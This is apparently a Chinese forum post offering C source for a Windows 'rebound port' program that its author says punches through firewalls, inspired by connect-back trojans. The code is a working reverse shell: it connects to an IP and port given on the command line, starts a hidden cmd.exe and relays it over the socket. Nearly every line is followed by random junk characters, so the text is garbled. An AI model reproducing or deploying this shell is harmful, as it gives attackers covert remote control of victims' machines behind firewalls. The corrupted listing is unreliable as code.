这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @Z$fEG)9
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/* ============================== #q34>}O< O
Rebound port in Windows NT 6T~+vT
By wind,2006/7 Kg2@]J9m
===============================*/ ( AA@sN
#include xF) .S@
#include .Sw4{m[g
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#pragma comment(lib,"wsock32.lib") n @@tO#!\
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void OutputShell(); /Tl ybSC1
SOCKET sClient; o>]w76A^(
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ]igCV
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void main(int argc,char **argv) E.$//P n|1
{ @:hWahMy
WSADATA stWsaData; `mAYK)N
int nRet; .-s!} P"
SOCKADDR_IN stSaiClient,stSaiServer; Qh3+4nLFtb
)r A\+XT7
if(argc != 3) =#TQXm']Gi
{ $+e(k~
printf("Useage:\n\rRebound DestIP DestPort\n"); {3vm]
return; Rbm+V{EF&
} 6"?#s/fk
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,trh)ZZYW|
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0_y&9Te
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stSaiClient.sin_family = AF_INET; P'_ aNU
stSaiClient.sin_port = htons(0); ?b^<Tny
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
2 (ux
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) cv_O2Q4,@
{ q{,yas7}
printf("Bind Socket Failed!\n"); ioTqT:.
return; <9=RLENmY"
} .
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#
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stSaiServer.sin_family = AF_INET; mMhe,8E&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); OB,T>o@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); AsZyPybq
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QBoX3w=
{
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printf("Connect Error!"); K1<l/
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return; N/^[c+J[E
} <
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OutputShell(); 2(D&jL
} U_B`SS
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void OutputShell() ~;I{d7z,;
{ mOjl0n[To]
char szBuff[1024]; -IV-"-6(
SECURITY_ATTRIBUTES stSecurityAttributes; AQ.q?'vE)
OSVERSIONINFO stOsversionInfo; p-g@cwOu
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; S;vZXgyN?
STARTUPINFO stStartupInfo; Xw^:<Nx:
char *szShell; hW cM.
PROCESS_INFORMATION stProcessInformation; NX+
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unsigned long lBytesRead; ;rF:$37^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )./'RE+(k
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^T@-yys
stSecurityAttributes.lpSecurityDescriptor = 0; /_bM~g
stSecurityAttributes.bInheritHandle = TRUE; V|0UwS\n
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7xT<|3 I
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); R91u6r#
D3 E!jQ1
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2gjA>ET`N
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s{j3F
stStartupInfo.wShowWindow = SW_HIDE; zwHTtE
stStartupInfo.hStdInput = hReadPipe; p/s5[>N
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; CV7.hF<
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GetVersionEx(&stOsversionInfo); WHF:>0B
2,%ne (
switch(stOsversionInfo.dwPlatformId) s*}d`"YvH
{ 0$49X
case 1: PsD]gN5"
szShell = "command.com"; sAc)X!}
break; Un[#zh<4
default: &jPsdv h
szShell = "cmd.exe"; &l|B>{4v
break; r>q`# ~
} (C QgT3V
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 55N/[{[
a. 5`Q2
send(sClient,szMsg,77,0); ~JT{!wcE}o
while(1) !*#=7^#
{ X!_OOfueP8
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Kd,m;S\
if(lBytesRead) XJOo.Y
{ %BHq2~J
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DwTZ<H4
send(sClient,szBuff,lBytesRead,0); p-/x Md
} pV-.r-P
else Ri-wbYFaP
{ $S cjEG:6
lBytesRead=recv(sClient,szBuff,1024,0); T
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if(lBytesRead<=0) break; Ip1QmP
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); y.eBFf
} ;NPb
} a+BA~|u^
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return; W]*wxzf!5z
}